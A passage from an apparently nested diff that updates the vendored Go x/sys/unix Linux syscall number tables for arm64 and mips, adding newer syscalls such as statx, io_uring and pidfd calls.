-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go
-index 64078435..e9404dd5 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include -fsigned-char /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include -fsigned-char /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm64,linux
-@@ -282,4 +282,22 @@ const (
- SYS_PKEY_MPROTECT = 288
- SYS_PKEY_ALLOC = 289
- SYS_PKEY_FREE = 290
-+ SYS_STATX = 291
-+ SYS_IO_PGETEVENTS = 292
-+ SYS_RSEQ = 293
-+ SYS_KEXEC_FILE_LOAD = 294
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips.go
-index 939567c0..68bb6d29 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build mips,linux
-@@ -6,369 +6,416 @@
- package unix
-
- const (
-- SYS_SYSCALL = 4000
-- SYS_EXIT = 4001
-- SYS_FORK = 4002
-- SYS_READ = 4003
-- SYS_WRITE = 4004
-- SYS_OPEN = 4005
-- SYS_CLOSE = 4006
-- SYS_WAITPID = 4007
-- SYS_CREAT = 4008
-- SYS_LINK = 4009
-- SYS_UNLINK = 4010
-- SYS_EXECVE = 4011
-- SYS_CHDIR = 4012
-- SYS_TIME = 4013
-- SYS_MKNOD = 4014
-- SYS_CHMOD = 4015
-- SYS_LCHOWN = 4016
-- SYS_BREAK = 4017
-- SYS_UNUSED18 = 4018
-- SYS_LSEEK = 4019
-- SYS_GETPID = 4020
-- SYS_MOUNT = 4021
-- SYS_UMOUNT = 4022
-- SYS_SETUID = 4023
-- SYS_GETUID = 4024
-- SYS_STIME = 4025
-- SYS_PTRACE = 4026
-- SYS_ALARM = 4027
-- SYS_UNUSED28 = 4028
-- SYS_PAUSE = 4029
-- SYS_UTIME = 4030
-- SYS_STTY = 4031
-- SYS_GTTY = 4032
-- SYS_ACCESS = 4033
-- SYS_NICE = 4034
-- SYS_FTIME = 4035
-- SYS_SYNC = 4036
-- SYS_KILL = 4037
-- SYS_RENAME = 4038
-- SYS_MKDIR = 4039
-- SYS_RMDIR = 4040
-- SYS_DUP = 4041
-- SYS_PIPE = 4042
-- SYS_TIMES = 4043
-- SYS_PROF = 4044
-- SYS_BRK = 4045
-- SYS_SETGID = 4046
-- SYS_GETGID = 4047
-- SYS_SIGNAL = 4048
-- SYS_GETEUID = 4049
-- SYS_GETEGID = 4050
-- SYS_ACCT = 4051
-- SYS_UMOUNT2 = 4052
-- SYS_LOCK = 4053
-- SYS_IOCTL = 4054
-- SYS_FCNTL = 4055
-- SYS_MPX = 4056
-- SYS_SETPGID = 4057
-- SYS_ULIMIT = 4058
-- SYS_UNUSED59 = 4059
-- SYS_UMASK = 4060
-- SYS_CHROOT = 4061
-- SYS_USTAT = 4062
-- SYS_DUP2 = 4063
-- SYS_GETPPID = 4064
-- SYS_GETPGRP = 4065
-- SYS_SETSID = 4066
-- SYS_SIGACTION = 4067
-- SYS_SGETMASK = 4068
-- SYS_SSETMASK = 4069
-- SYS_SETREUID = 4070
-- SYS_SETREGID = 4071
-- SYS_SIGSUSPEND = 4072
-- SYS_SIGPENDING = 4073
-- SYS_SETHOSTNAME = 4074
-- SYS_SETRLIMIT = 4075
-- SYS_GETRLIMIT = 4076
-- SYS_GETRUSAGE = 4077
-- SYS_GETTIMEOFDAY = 4078
-- SYS_SETTIMEOFDAY = 4079
-- SYS_GETGROUPS = 4080
-- SYS_SETGROUPS = 4081
-- SYS_RESERVED82 = 4082
-- SYS_SYMLINK = 4083
-- SYS_UNUSED84 = 4084
-- SYS_READLINK = 4085
-- SYS_USELIB = 4086
-- SYS_SWAPON = 4087
-- SYS_REBOOT = 4088
-- SYS_READDIR = 4089
-- SYS_MMAP = 4090
-- SYS_MUNMAP = 4091
-- SYS_TRUNCATE = 4092
-- SYS_FTRUNCATE = 4093
-- SYS_FCHMOD = 4094
-- SYS_FCHOWN = 4095
-- SYS_GETPRIORITY = 4096
-- SYS_SETPRIORITY = 4097
-- SYS_PROFIL = 4098
-- SYS_STATFS = 4099
-- SYS_FSTATFS = 4100
-- SYS_IOPERM = 4101
-- SYS_SOCKETCALL = 4102
-- SYS_SYSLOG = 4103
-- SYS_SETITIMER = 4104
-- SYS_GETITIMER = 4105
-- SYS_STAT = 4106
-- SYS_LSTAT = 4107
-- SYS_FSTAT = 4108
-- SYS_UNUSED109 = 4109
-- SYS_IOPL = 4110
-- SYS_VHANGUP = 4111
-- SYS_IDLE = 4112
-- SYS_VM86 = 4113
-- SYS_WAIT4 = 4114
-- SYS_SWAPOFF = 4115
-- SYS_SYSINFO = 4116
-- SYS_IPC = 4117
-- SYS_FSYNC = 4118
-- SYS_SIGRETURN = 4119
-- SYS_CLONE = 4120
-- SYS_SETDOMAINNAME = 4121
-- SYS_UNAME = 4122
-- SYS_MODIFY_LDT = 4123
-- SYS_ADJTIMEX = 4124
-- SYS_MPROTECT = 4125
-- SYS_SIGPROCMASK = 4126
-- SYS_CREATE_MODULE = 4127
-- SYS_INIT_MODULE = 4128
-- SYS_DELETE_MODULE = 4129
-- SYS_GET_KERNEL_SYMS = 4130
-- SYS_QUOTACTL = 4131
-- SYS_GETPGID = 4132
-- SYS_FCHDIR = 4133
-- SYS_BDFLUSH = 4134
-- SYS_SYSFS = 4135
-- SYS_PERSONALITY = 4136
-- SYS_AFS_SYSCALL = 4137
-- SYS_SETFSUID = 4138
-- SYS_SETFSGID = 4139
-- SYS__LLSEEK = 4140
-- SYS_GETDENTS = 4141
-- SYS__NEWSELECT = 4142
-- SYS_FLOCK = 4143
-- SYS_MSYNC = 4144
-- SYS_READV = 4145
-- SYS_WRITEV = 4146
-- SYS_CACHEFLUSH = 4147
-- SYS_CACHECTL = 4148
-- SYS_SYSMIPS = 4149
-- SYS_UNUSED150 = 4150
-- SYS_GETSID = 4151
-- SYS_FDATASYNC = 4152
-- SYS__SYSCTL = 4153
-- SYS_MLOCK = 4154
-- SYS_MUNLOCK = 4155
-- SYS_MLOCKALL = 4156
-- SYS_MUNLOCKALL = 4157
-- SYS_SCHED_SETPARAM = 4158
-- SYS_SCHED_GETPARAM = 4159
-- SYS_SCHED_SETSCHEDULER = 4160
-- SYS_SCHED_GETSCHEDULER = 4161
-- SYS_SCHED_YIELD = 4162
-- SYS_SCHED_GET_PRIORITY_MAX = 4163
-- SYS_SCHED_GET_PRIORITY_MIN = 4164
-- SYS_SCHED_RR_GET_INTERVAL = 4165
-- SYS_NANOSLEEP = 4166
-- SYS_MREMAP = 4167
-- SYS_ACCEPT = 4168
-- SYS_BIND = 4169
-- SYS_CONNECT = 4170
-- SYS_GETPEERNAME = 4171
-- SYS_GETSOCKNAME = 4172
-- SYS_GETSOCKOPT = 4173
-- SYS_LISTEN = 4174
-- SYS_RECV = 4175
-- SYS_RECVFROM = 4176
-- SYS_RECVMSG = 4177
-- SYS_SEND = 4178
-- SYS_SENDMSG = 4179
-- SYS_SENDTO = 4180
-- SYS_SETSOCKOPT = 4181
-- SYS_SHUTDOWN = 4182
-- SYS_SOCKET = 4183
-- SYS_SOCKETPAIR = 4184
-- SYS_SETRESUID = 4185
-- SYS_GETRESUID = 4186
-- SYS_QUERY_MODULE = 4187
-- SYS_POLL = 4188
-- SYS_NFSSERVCTL = 4189
-- SYS_SETRESGID = 4190
-- SYS_GETRESGID = 4191
-- SYS_PRCTL = 4192
-- SYS_RT_SIGRETURN = 4193
-- SYS_RT_SIGACTION = 4194
-- SYS_RT_SIGPROCMASK = 4195
-- SYS_RT_SIGPENDING = 4196
-- SYS_RT_SIGTIMEDWAIT = 4197
-- SYS_RT_SIGQUEUEINFO = 4198
-- SYS_RT_SIGSUSPEND = 4199
-- SYS_PREAD64 = 4200
-- SYS_PWRITE64 = 4201
-- SYS_CHOWN = 4202
-- SYS_GETCWD = 4203
-- SYS_CAPGET = 4204
-- SYS_CAPSET = 4205
-- SYS_SIGALTSTACK = 4206
-- SYS_SENDFILE = 4207
-- SYS_GETPMSG = 4208
-- SYS_PUTPMSG = 4209
-- SYS_MMAP2 = 4210
-- SYS_TRUNCATE64 = 4211
-- SYS_FTRUNCATE64 = 4212
-- SYS_STAT64 = 4213
-- SYS_LSTAT64 = 4214
-- SYS_FSTAT64 = 4215
-- SYS_PIVOT_ROOT = 4216
-- SYS_MINCORE = 4217
-- SYS_MADVISE = 4218
-- SYS_GETDENTS64 = 4219
-- SYS_FCNTL64 = 4220
-- SYS_RESERVED221 = 4221
-- SYS_GETTID = 4222
-- SYS_READAHEAD = 4223
-- SYS_SETXATTR = 4224
-- SYS_LSETXATTR = 4225
-- SYS_FSETXATTR = 4226
-- SYS_GETXATTR = 4227
-- SYS_LGETXATTR = 4228
-- SYS_FGETXATTR = 4229
-- SYS_LISTXATTR = 4230
-- SYS_LLISTXATTR = 4231
-- SYS_FLISTXATTR = 4232
-- SYS_REMOVEXATTR = 4233
-- SYS_LREMOVEXATTR = 4234
-- SYS_FREMOVEXATTR = 4235
-- SYS_TKILL = 4236
-- SYS_SENDFILE64 = 4237
-- SYS_FUTEX = 4238
-- SYS_SCHED_SETAFFINITY = 4239
-- SYS_SCHED_GETAFFINITY = 4240
-- SYS_IO_SETUP = 4241
-- SYS_IO_DESTROY = 4242
-- SYS_IO_GETEVENTS = 4243
-- SYS_IO_SUBMIT = 4244
-- SYS_IO_CANCEL = 4245
-- SYS_EXIT_GROUP = 4246
-- SYS_LOOKUP_DCOOKIE = 4247
-- SYS_EPOLL_CREATE = 4248
-- SYS_EPOLL_CTL = 4249
-- SYS_EPOLL_WAIT = 4250
-- SYS_REMAP_FILE_PAGES = 4251
-- SYS_SET_TID_ADDRESS = 4252
-- SYS_RESTART_SYSCALL = 4253
-- SYS_FADVISE64 = 4254
-- SYS_STATFS64 = 4255
-- SYS_FSTATFS64 = 4256
-- SYS_TIMER_CREATE = 4257
-- SYS_TIMER_SETTIME = 4258
-- SYS_TIMER_GETTIME = 4259
-- SYS_TIMER_GETOVERRUN = 4260
-- SYS_TIMER_DELETE = 4261
-- SYS_CLOCK_SETTIME = 4262
-- SYS_CLOCK_GETTIME = 4263
-- SYS_CLOCK_GETRES = 4264
-- SYS_CLOCK_NANOSLEEP = 4265
-- SYS_TGKILL = 4266
-- SYS_UTIMES = 4267
-- SYS_MBIND = 4268
-- SYS_GET_MEMPOLICY = 4269
-- SYS_SET_MEMPOLICY = 4270
-- SYS_MQ_OPEN = 4271
-- SYS_MQ_UNLINK = 4272
-- SYS_MQ_TIMEDSEND = 4273
-- SYS_MQ_TIMEDRECEIVE = 4274
-- SYS_MQ_NOTIFY = 4275
-- SYS_MQ_GETSETATTR = 4276
-- SYS_VSERVER = 4277
-- SYS_WAITID = 4278
-- SYS_ADD_KEY = 4280
-- SYS_REQUEST_KEY = 4281
-- SYS_KEYCTL = 4282
-- SYS_SET_THREAD_AREA = 4283
-- SYS_INOTIFY_INIT = 4284
-- SYS_INOTIFY_ADD_WATCH = 4285
-- SYS_INOTIFY_RM_WATCH = 4286
-- SYS_MIGRATE_PAGES = 4287
-- SYS_OPENAT = 4288
-- SYS_MKDIRAT = 4289
-- SYS_MKNODAT = 4290
-- SYS_FCHOWNAT = 4291
-- SYS_FUTIMESAT = 4292
-- SYS_FSTATAT64 = 4293
-- SYS_UNLINKAT = 4294
-- SYS_RENAMEAT = 4295
-- SYS_LINKAT = 4296
-- SYS_SYMLINKAT = 4297
-- SYS_READLINKAT = 4298
-- SYS_FCHMODAT = 4299
-- SYS_FACCESSAT = 4300
-- SYS_PSELECT6 = 4301
-- SYS_PPOLL = 4302
-- SYS_UNSHARE = 4303
-- SYS_SPLICE = 4304
-- SYS_SYNC_FILE_RANGE = 4305
-- SYS_TEE = 4306
-- SYS_VMSPLICE = 4307
-- SYS_MOVE_PAGES = 4308
-- SYS_SET_ROBUST_LIST = 4309
-- SYS_GET_ROBUST_LIST = 4310
-- SYS_KEXEC_LOAD = 4311
-- SYS_GETCPU = 4312
-- SYS_EPOLL_PWAIT = 4313
-- SYS_IOPRIO_SET = 4314
-- SYS_IOPRIO_GET = 4315
-- SYS_UTIMENSAT = 4316
-- SYS_SIGNALFD = 4317
-- SYS_TIMERFD = 4318
-- SYS_EVENTFD = 4319
-- SYS_FALLOCATE = 4320
-- SYS_TIMERFD_CREATE = 4321
-- SYS_TIMERFD_GETTIME = 4322
-- SYS_TIMERFD_SETTIME = 4323
-- SYS_SIGNALFD4 = 4324
-- SYS_EVENTFD2 = 4325
-- SYS_EPOLL_CREATE1 = 4326
-- SYS_DUP3 = 4327
-- SYS_PIPE2 = 4328
-- SYS_INOTIFY_INIT1 = 4329
-- SYS_PREADV = 4330
-- SYS_PWRITEV = 4331
-- SYS_RT_TGSIGQUEUEINFO = 4332
-- SYS_PERF_EVENT_OPEN = 4333
-- SYS_ACCEPT4 = 4334
-- SYS_RECVMMSG = 4335
-- SYS_FANOTIFY_INIT = 4336
-- SYS_FANOTIFY_MARK = 4337
-- SYS_PRLIMIT64 = 4338
-- SYS_NAME_TO_HANDLE_AT = 4339
-- SYS_OPEN_BY_HANDLE_AT = 4340
-- SYS_CLOCK_ADJTIME = 4341
-- SYS_SYNCFS = 4342
-- SYS_SENDMMSG = 4343
-- SYS_SETNS = 4344
-- SYS_PROCESS_VM_READV = 4345
-- SYS_PROCESS_VM_WRITEV = 4346
-- SYS_KCMP = 4347
-- SYS_FINIT_MODULE = 4348
-- SYS_SCHED_SETATTR = 4349
-- SYS_SCHED_GETATTR = 4350
-- SYS_RENAMEAT2 = 4351
-- SYS_SECCOMP = 4352
-- SYS_GETRANDOM = 4353
-- SYS_MEMFD_CREATE = 4354
-- SYS_BPF = 4355
-- SYS_EXECVEAT = 4356
-- SYS_USERFAULTFD = 4357
-- SYS_MEMBARRIER = 4358
-- SYS_MLOCK2 = 4359
-- SYS_COPY_FILE_RANGE = 4360
-- SYS_PREADV2 = 4361
-- SYS_PWRITEV2 = 4362
-- SYS_PKEY_MPROTECT = 4363
-- SYS_PKEY_ALLOC = 4364
-- SYS_PKEY_FREE = 4365
-+ SYS_SYSCALL = 4000
-+ SYS_EXIT = 4001
-+ SYS_FORK = 4002
-+ SYS_READ = 4003
-+ SYS_WRITE = 4004
-+ SYS_OPEN = 4005
-+ SYS_CLOSE = 4006
-+ SYS_WAITPID = 4007
-+ SYS_CREAT = 4008
-+ SYS_LINK = 4009
-+ SYS_UNLINK = 4010
-+ SYS_EXECVE = 4011
-+ SYS_CHDIR = 4012
-+ SYS_TIME = 4013
-+ SYS_MKNOD = 4014
-+ SYS_CHMOD = 4015
-+ SYS_LCHOWN = 4016
-+ SYS_BREAK = 4017
-+ SYS_UNUSED18 = 4018
-+ SYS_LSEEK = 4019
-+ SYS_GETPID = 4020
-+ SYS_MOUNT = 4021
-+ SYS_UMOUNT = 4022
-+ SYS_SETUID = 4023
-+ SYS_GETUID = 4024
-+ SYS_STIME = 4025
-+ SYS_PTRACE = 4026
-+ SYS_ALARM = 4027
-+ SYS_UNUSED28 = 4028
-+ SYS_PAUSE = 4029
-+ SYS_UTIME = 4030
-+ SYS_STTY = 4031
-+ SYS_GTTY = 4032
-+ SYS_ACCESS = 4033
-+ SYS_NICE = 4034
-+ SYS_FTIME = 4035
-+ SYS_SYNC = 4036
-+ SYS_KILL = 4037
-+ SYS_RENAME = 4038
-+ SYS_MKDIR = 4039
-+ SYS_RMDIR = 4040
-+ SYS_DUP = 4041
-+ SYS_PIPE = 4042
-+ SYS_TIMES = 4043
-+ SYS_PROF = 4044
-+ SYS_BRK = 4045
-+ SYS_SETGID = 4046
-+ SYS_GETGID = 4047
-+ SYS_SIGNAL = 4048
-+ SYS_GETEUID = 4049
-+ SYS_GETEGID = 4050
-+ SYS_ACCT = 4051
-+ SYS_UMOUNT2 = 4052
-+ SYS_LOCK = 4053
-+ SYS_IOCTL = 4054
-+ SYS_FCNTL = 4055
-+ SYS_MPX = 4056
-+ SYS_SETPGID = 4057
-+ SYS_ULIMIT = 4058
-+ SYS_UNUSED59 = 4059
-+ SYS_UMASK = 4060
-+ SYS_CHROOT = 4061
-+ SYS_USTAT = 4062
-+ SYS_DUP2 = 4063
-+ SYS_GETPPID = 4064
-+ SYS_GETPGRP = 4065
-+ SYS_SETSID = 4066
-+ SYS_SIGACTION = 4067
-+ SYS_SGETMASK = 4068
-+ SYS_SSETMASK = 4069
-+ SYS_SETREUID = 4070
-+ SYS_SETREGID = 4071
-+ SYS_SIGSUSPEND = 4072
-+ SYS_SIGPENDING = 4073
-+ SYS_SETHOSTNAME = 4074
-+ SYS_SETRLIMIT = 4075
-+ SYS_GETRLIMIT = 4076
-+ SYS_GETRUSAGE = 4077
-+ SYS_GETTIMEOFDAY = 4078
-+ SYS_SETTIMEOFDAY = 4079
-+ SYS_GETGROUPS = 4080
-+ SYS_SETGROUPS = 4081
-+ SYS_RESERVED82 = 4082
-+ SYS_SYMLINK = 4083
-+ SYS_UNUSED84 = 4084
-+ SYS_READLINK = 4085
-+ SYS_USELIB = 4086
-+ SYS_SWAPON = 4087
-+ SYS_REBOOT = 4088
-+ SYS_READDIR = 4089
-+ SYS_MMAP = 4090
-+ SYS_MUNMAP = 4091
-+ SYS_TRUNCATE = 4092
-+ SYS_FTRUNCATE = 4093
-+ SYS_FCHMOD = 4094
-+ SYS_FCHOWN = 4095
-+ SYS_GETPRIORITY = 4096
-+ SYS_SETPRIORITY = 4097
-+ SYS_PROFIL = 4098
-+ SYS_STATFS = 4099
-+ SYS_FSTATFS = 4100
-+ SYS_IOPERM = 4101
-+ SYS_SOCKETCALL = 4102
-+ SYS_SYSLOG = 4103
-+ SYS_SETITIMER = 4104
-+ SYS_GETITIMER = 4105
-+ SYS_STAT = 4106
-+ SYS_LSTAT = 4107
-+ SYS_FSTAT = 4108
-+ SYS_UNUSED109 = 4109
-+ SYS_IOPL = 4110
-+ SYS_VHANGUP = 4111
-+ SYS_IDLE = 4112
-+ SYS_VM86 = 4113
-+ SYS_WAIT4 = 4114
-+ SYS_SWAPOFF = 4115
-+ SYS_SYSINFO = 4116
-+ SYS_IPC = 4117
-+ SYS_FSYNC = 4118
-+ SYS_SIGRETURN = 4119
-+ SYS_CLONE = 4120
-+ SYS_SETDOMAINNAME = 4121
-+ SYS_UNAME = 4122
-+ SYS_MODIFY_LDT = 4123
-+ SYS_ADJTIMEX = 4124
-+ SYS_MPROTECT = 4125
-+ SYS_SIGPROCMASK = 4126
-+ SYS_CREATE_MODULE = 4127
-+ SYS_INIT_MODULE = 4128
-+ SYS_DELETE_MODULE = 4129
-+ SYS_GET_KERNEL_SYMS = 4130
-+ SYS_QUOTACTL = 4131
-+ SYS_GETPGID = 4132
-+ SYS_FCHDIR = 4133
-+ SYS_BDFLUSH = 4134
-+ SYS_SYSFS = 4135
-+ SYS_PERSONALITY = 4136
-+ SYS_AFS_SYSCALL = 4137
-+ SYS_SETFSUID = 4138
-+ SYS_SETFSGID = 4139
-+ SYS__LLSEEK = 4140
-+ SYS_GETDENTS = 4141
-+ SYS__NEWSELECT = 4142
-+ SYS_FLOCK = 4143
-+ SYS_MSYNC = 4144
-+ SYS_READV = 4145
-+ SYS_WRITEV = 4146
-+ SYS_CACHEFLUSH = 4147
-+ SYS_CACHECTL = 4148
-+ SYS_SYSMIPS = 4149
-+ SYS_UNUSED150 = 4150
-+ SYS_GETSID = 4151
-+ SYS_FDATASYNC = 4152
-+ SYS__SYSCTL = 4153
-+ SYS_MLOCK = 4154
-+ SYS_MUNLOCK = 4155
-+ SYS_MLOCKALL = 4156
-+ SYS_MUNLOCKALL = 4157
-+ SYS_SCHED_SETPARAM = 4158
-+ SYS_SCHED_GETPARAM = 4159
-+ SYS_SCHED_SETSCHEDULER = 4160
-+ SYS_SCHED_GETSCHEDULER = 4161
-+ SYS_SCHED_YIELD = 4162
-+ SYS_SCHED_GET_PRIORITY_MAX = 4163
-+ SYS_SCHED_GET_PRIORITY_MIN = 4164
-+ SYS_SCHED_RR_GET_INTERVAL = 4165
-+ SYS_NANOSLEEP = 4166
-+ SYS_MREMAP = 4167
-+ SYS_ACCEPT = 4168
-+ SYS_BIND = 4169
-+ SYS_CONNECT = 4170
-+ SYS_GETPEERNAME = 4171
-+ SYS_GETSOCKNAME = 4172
-+ SYS_GETSOCKOPT = 4173
-+ SYS_LISTEN = 4174
-+ SYS_RECV = 4175
-+ SYS_RECVFROM = 4176
-+ SYS_RECVMSG = 4177
-+ SYS_SEND = 4178
-+ SYS_SENDMSG = 4179
-+ SYS_SENDTO = 4180
-+ SYS_SETSOCKOPT = 4181
-+ SYS_SHUTDOWN = 4182
-+ SYS_SOCKET = 4183
-+ SYS_SOCKETPAIR = 4184
-+ SYS_SETRESUID = 4185
-+ SYS_GETRESUID = 4186
-+ SYS_QUERY_MODULE = 4187
-+ SYS_POLL = 4188
-+ SYS_NFSSERVCTL = 4189
-+ SYS_SETRESGID = 4190
-+ SYS_GETRESGID = 4191
-+ SYS_PRCTL = 4192
-+ SYS_RT_SIGRETURN = 4193
-+ SYS_RT_SIGACTION = 4194
-+ SYS_RT_SIGPROCMASK = 4195
-+ SYS_RT_SIGPENDING = 4196
-+ SYS_RT_SIGTIMEDWAIT = 4197
-+ SYS_RT_SIGQUEUEINFO = 4198
-+ SYS_RT_SIGSUSPEND = 4199
-+ SYS_PREAD64 = 4200
-+ SYS_PWRITE64 = 4201
-+ SYS_CHOWN = 4202
-+ SYS_GETCWD = 4203
-+ SYS_CAPGET = 4204
-+ SYS_CAPSET = 4205
-+ SYS_SIGALTSTACK = 4206
-+ SYS_SENDFILE = 4207
-+ SYS_GETPMSG = 4208
-+ SYS_PUTPMSG = 4209
-+ SYS_MMAP2 = 4210
-+ SYS_TRUNCATE64 = 4211
-+ SYS_FTRUNCATE64 = 4212
-+ SYS_STAT64 = 4213
-+ SYS_LSTAT64 = 4214
-+ SYS_FSTAT64 = 4215
-+ SYS_PIVOT_ROOT = 4216
-+ SYS_MINCORE = 4217
-+ SYS_MADVISE = 4218
-+ SYS_GETDENTS64 = 4219
-+ SYS_FCNTL64 = 4220
-+ SYS_RESERVED221 = 4221
-+ SYS_GETTID = 4222
-+ SYS_READAHEAD = 4223
-+ SYS_SETXATTR = 4224
-+ SYS_LSETXATTR = 4225
-+ SYS_FSETXATTR = 4226
-+ SYS_GETXATTR = 4227
-+ SYS_LGETXATTR = 4228
-+ SYS_FGETXATTR = 4229
-+ SYS_LISTXATTR = 4230
-+ SYS_LLISTXATTR = 4231
-+ SYS_FLISTXATTR = 4232
-+ SYS_REMOVEXATTR = 4233
-+ SYS_LREMOVEXATTR = 4234
-+ SYS_FREMOVEXATTR = 4235
-+ SYS_TKILL = 4236
-+ SYS_SENDFILE64 = 4237
-+ SYS_FUTEX = 4238
-+ SYS_SCHED_SETAFFINITY = 4239
-+ SYS_SCHED_GETAFFINITY = 4240
-+ SYS_IO_SETUP = 4241
-+ SYS_IO_DESTROY = 4242
-+ SYS_IO_GETEVENTS = 4243
-+ SYS_IO_SUBMIT = 4244
-+ SYS_IO_CANCEL = 4245
-+ SYS_EXIT_GROUP = 4246
-+ SYS_LOOKUP_DCOOKIE = 4247
-+ SYS_EPOLL_CREATE = 4248
-+ SYS_EPOLL_CTL = 4249
-+ SYS_EPOLL_WAIT = 4250
-+ SYS_REMAP_FILE_PAGES = 4251
-+ SYS_SET_TID_ADDRESS = 4252
-+ SYS_RESTART_SYSCALL = 4253
-+ SYS_FADVISE64 = 4254
-+ SYS_STATFS64 = 4255
-+ SYS_FSTATFS64 = 4256
-+ SYS_TIMER_CREATE = 4257
-+ SYS_TIMER_SETTIME = 4258
-+ SYS_TIMER_GETTIME = 4259
-+ SYS_TIMER_GETOVERRUN = 4260
-+ SYS_TIMER_DELETE = 4261
-+ SYS_CLOCK_SETTIME = 4262
-+ SYS_CLOCK_GETTIME = 4263
-+ SYS_CLOCK_GETRES = 4264
-+ SYS_CLOCK_NANOSLEEP = 4265
-+ SYS_TGKILL = 4266
-+ SYS_UTIMES = 4267
-+ SYS_MBIND = 4268
-+ SYS_GET_MEMPOLICY = 4269
-+ SYS_SET_MEMPOLICY = 4270
-+ SYS_MQ_OPEN = 4271
-+ SYS_MQ_UNLINK = 4272
-+ SYS_MQ_TIMEDSEND = 4273
-+ SYS_MQ_TIMEDRECEIVE = 4274
-+ SYS_MQ_NOTIFY = 4275
-+ SYS_MQ_GETSETATTR = 4276
-+ SYS_VSERVER = 4277
-+ SYS_WAITID = 4278
-+ SYS_ADD_KEY = 4280
-+ SYS_REQUEST_KEY = 4281
-+ SYS_KEYCTL = 4282
-+ SYS_SET_THREAD_AREA = 4283
-+ SYS_INOTIFY_INIT = 4284
-+ SYS_INOTIFY_ADD_WATCH = 4285
-+ SYS_INOTIFY_RM_WATCH = 4286
-+ SYS_MIGRATE_PAGES = 4287
-+ SYS_OPENAT = 4288
-+ SYS_MKDIRAT = 4289
-+ SYS_MKNODAT = 4290
-+ SYS_FCHOWNAT = 4291
-+ SYS_FUTIMESAT = 4292
-+ SYS_FSTATAT64 = 4293
-+ SYS_UNLINKAT = 4294
-+ SYS_RENAMEAT = 4295
-+ SYS_LINKAT = 4296
-+ SYS_SYMLINKAT = 4297
-+ SYS_READLINKAT = 4298
-+ SYS_FCHMODAT = 4299
-+ SYS_FACCESSAT = 4300
-+ SYS_PSELECT6 = 4301
-+ SYS_PPOLL = 4302
-+ SYS_UNSHARE = 4303
-+ SYS_SPLICE = 4304
-+ SYS_SYNC_FILE_RANGE = 4305
-+ SYS_TEE = 4306
-+ SYS_VMSPLICE = 4307
-+ SYS_MOVE_PAGES = 4308
-+ SYS_SET_ROBUST_LIST = 4309
-+ SYS_GET_ROBUST_LIST = 4310
-+ SYS_KEXEC_LOAD = 4311
-+ SYS_GETCPU = 4312
-+ SYS_EPOLL_PWAIT = 4313
-+ SYS_IOPRIO_SET = 4314
-+ SYS_IOPRIO_GET = 4315
-+ SYS_UTIMENSAT = 4316
-+ SYS_SIGNALFD = 4317
-+ SYS_TIMERFD = 4318
-+ SYS_EVENTFD = 4319
-+ SYS_FALLOCATE = 4320
-+ SYS_TIMERFD_CREATE = 4321
-+ SYS_TIMERFD_GETTIME = 4322
-+ SYS_TIMERFD_SETTIME = 4323
-+ SYS_SIGNALFD4 = 4324
-+ SYS_EVENTFD2 = 4325
-+ SYS_EPOLL_CREATE1 = 4326
-+ SYS_DUP3 = 4327
-+ SYS_PIPE2 = 4328
-+ SYS_INOTIFY_INIT1 = 4329
-+ SYS_PREADV = 4330
-+ SYS_PWRITEV = 4331
-+ SYS_RT_TGSIGQUEUEINFO = 4332
-+ SYS_PERF_EVENT_OPEN = 4333
-+ SYS_ACCEPT4 = 4334
-+ SYS_RECVMMSG = 4335
-+ SYS_FANOTIFY_INIT = 4336
-+ SYS_FANOTIFY_MARK = 4337
-+ SYS_PRLIMIT64 = 4338
-+ SYS_NAME_TO_HANDLE_AT = 4339
-+ SYS_OPEN_BY_HANDLE_AT = 4340
-+ SYS_CLOCK_ADJTIME = 4341
-+ SYS_SYNCFS = 4342
-+ SYS_SENDMMSG = 4343
-+ SYS_SETNS = 4344
-+ SYS_PROCESS_VM_READV = 4345
-+ SYS_PROCESS_VM_WRITEV = 4346
-+ SYS_KCMP = 4347
-+ SYS_FINIT_MODULE = 4348
-+ SYS_SCHED_SETATTR = 4349
-+ SYS_SCHED_GETATTR = 4350
-+ SYS_RENAMEAT2 = 4351
-+ SYS_SECCOMP = 4352
-+ SYS_GETRANDOM = 4353
-+ SYS_MEMFD_CREATE = 4354
-+ SYS_BPF = 4355
-+ SYS_EXECVEAT = 4356
-+ SYS_USERFAULTFD = 4357
-+ SYS_MEMBARRIER = 4358
-+ SYS_MLOCK2 = 4359
-+ SYS_COPY_FILE_RANGE = 4360
-+ SYS_PREADV2 = 4361
-+ SYS_PWRITEV2 = 4362
-+ SYS_PKEY_MPROTECT = 4363
-+ SYS_PKEY_ALLOC = 4364
-+ SYS_PKEY_FREE = 4365
-+ SYS_STATX = 4366
-+ SYS_RSEQ = 4367
